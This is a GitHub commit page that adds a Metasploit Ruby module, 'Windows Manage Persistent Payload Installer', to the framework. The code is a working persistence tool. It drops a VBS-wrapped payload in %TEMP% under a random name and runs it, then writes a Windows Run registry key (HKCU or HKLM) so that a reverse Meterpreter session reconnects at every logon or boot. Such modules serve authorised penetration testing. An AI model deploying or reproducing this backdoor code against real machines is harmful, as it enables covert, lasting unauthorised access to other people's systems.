Skip to content

Commit 9040fcd

Browse files
author
jvazquez-r7
committed
Merge branch 'darkoperator-post2localexploit' of https://github.com/darkoperator/metasploit-framework into darkoperator-darkoperator-post2localexploit
2 parents 766257d + 091322f commit 9040fcd

File tree

1 file changed

+202
-0
lines changed

1 file changed

+202
-0
lines changed
Lines changed: 202 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,202 @@
1+
##
2+
# ## This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
require 'msf/core/post/common'
11+
require 'msf/core/post/file'
12+
require 'msf/core/post/windows/priv'
13+
require 'msf/core/post/windows/registry'
14+
require 'msf/core/exploit/exe'
15+
16+
class Metasploit3 < Msf::Exploit::Local
17+
Rank = ExcellentRanking
18+
19+
include Msf::Post::Common
20+
include Msf::Post::File
21+
include Msf::Post::Windows::Priv
22+
include Msf::Post::Windows::Registry
23+
include Exploit::EXE
24+
25+
def initialize(info={})
26+
super( update_info( info,
27+
'Name' => 'Windows Manage Persistent Payload Installer',
28+
'Description' => %q{
29+
This Module will create a boot persistent reverse Meterpreter session by
30+
installing on the target host the payload as a script that will be executed
31+
at user logon or system startup depending on privilege and selected startup
32+
method.
33+
},
34+
'License' => MSF_LICENSE,
35+
'Author' =>
36+
[
37+
'Carlos Perez <carlos_perez[at]darkoperator.com>'
38+
],
39+
'Platform' => [ 'win' ],
40+
'SessionTypes' => [ 'meterpreter' ],
41+
'Targets' => [ [ 'Windows', {} ] ],
42+
'DefaultTarget' => 0,
43+
'DisclosureDate'=> "Oct 19 2011"
44+
))
45+
46+
register_options(
47+
[
48+
OptInt.new('DELAY', [true, 'Delay in seconds for persistent payload to reconnect.', 5]),
49+
OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
50+
OptString.new('REXENAME',[false, 'The name to call payload on remote system.', nil]),
51+
OptString.new('REG_NAME',[false, 'The name to call registry value for persistence on remote system','']),
52+
], self.class)
53+
54+
end
55+
56+
# Exploit Method for when exploit command is issued
57+
def exploit
58+
print_status("Running module against #{sysinfo['Computer']}")
59+
60+
rexename = datastore['REXENAME']
61+
delay = datastore['DELAY']
62+
reg_val = datastore['REG_NAME']
63+
@clean_up_rc = ""
64+
host,port = session.session_host, session.session_port
65+
66+
exe = generate_payload_exe
67+
script = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay})
68+
script_on_target = write_script_to_target(script,rexename)
69+
70+
if script_on_target == nil
71+
# exit the module because we failed to write the file on the target host.
72+
return
73+
end
74+
75+
# Initial execution of script
76+
if target_exec(script_on_target) == nil
77+
# Exit if we where not able to run the payload.
78+
return
79+
end
80+
81+
case datastore['STARTUP']
82+
when /USER/i
83+
regwrite = write_to_reg("HKCU", script_on_target, reg_val)
84+
# if we could not write the entry in the registy we exit the module.
85+
if not regwrite
86+
return
87+
end
88+
when /SYSTEM/i
89+
regwrite = write_to_reg("HKLM", script_on_target, reg_val)
90+
# if we could not write the entry in the registy we exit the module.
91+
if not regwrite
92+
return
93+
end
94+
end
95+
96+
clean_rc = log_file()
97+
file_local_write(clean_rc,@clean_up_rc)
98+
print_status("Cleanup Meterpreter RC File: #{clean_rc}")
99+
100+
report_note(:host => host,
101+
:type => "host.persistance.cleanup",
102+
:data => {
103+
:local_id => session.sid,
104+
:stype => session.type,
105+
:desc => session.info,
106+
:platform => session.platform,
107+
:via_payload => session.via_payload,
108+
:via_exploit => session.via_exploit,
109+
:created_at => Time.now.utc,
110+
:commands => @clean_up_rc
111+
}
112+
)
113+
end
114+
115+
# Function for creating log folder and returning log path
116+
def log_file(log_path = nil)
117+
#Get hostname
118+
host = session.sys.config.sysinfo["Computer"]
119+
120+
# Create Filename info to be appended to downloaded files
121+
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
122+
123+
# Create a directory for the logs
124+
if log_path
125+
logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
126+
else
127+
logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
128+
end
129+
130+
# Create the log directory
131+
::FileUtils.mkdir_p(logs)
132+
133+
#logfile name
134+
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
135+
return logfile
136+
end
137+
138+
# Writes script to target host
139+
def write_script_to_target(vbs,name)
140+
tempdir = expand_path("%TEMP%")
141+
if name == nil
142+
tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
143+
else
144+
tempvbs = tempdir + "\\" + name + ".vbs"
145+
end
146+
begin
147+
write_file(tempvbs, vbs)
148+
print_good("Persistent Script written to #{tempvbs}")
149+
@clean_up_rc << "rm #{tempvbs}\n"
150+
rescue
151+
print_error("Could not write the payload on the target hosts.")
152+
# return nil since we could not write the file on the target host.
153+
tempvbs = nil
154+
end
155+
return tempvbs
156+
end
157+
158+
# Executes script on target and return the PID of the process
159+
def target_exec(script_on_target)
160+
execsuccess = true
161+
print_status("Executing script #{script_on_target}")
162+
# error handling for process.execute() can throw a RequestError in send_request.
163+
begin
164+
if datastore['EXE::Custom'].nil?
165+
session.shell_command_token(script_on_target)
166+
else
167+
session.shell_command_token("cscript \"#{script_on_target}\"")
168+
end
169+
rescue
170+
print_error("Failed to execute payload on target host.")
171+
execsuccess = nil
172+
end
173+
return execsuccess
174+
end
175+
176+
# Installs payload in to the registry HKLM or HKCU
177+
def write_to_reg(key,script_on_target, registry_value)
178+
# Lets start to assume we had success.
179+
write_success = true
180+
if registry_value.nil?
181+
nam = Rex::Text.rand_text_alpha(rand(8)+8)
182+
else
183+
nam = registry_value
184+
end
185+
186+
print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
187+
188+
if(key)
189+
set_return = registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ")
190+
if set_return
191+
print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
192+
else
193+
print_error("Failed to make entry in the registry for persistence.")
194+
write_success = false
195+
end
196+
else
197+
print_error("Error: failed to open the registry key for writing")
198+
write_success = false
199+
end
200+
end
201+
202+
end

0 commit comments

Comments
 (0)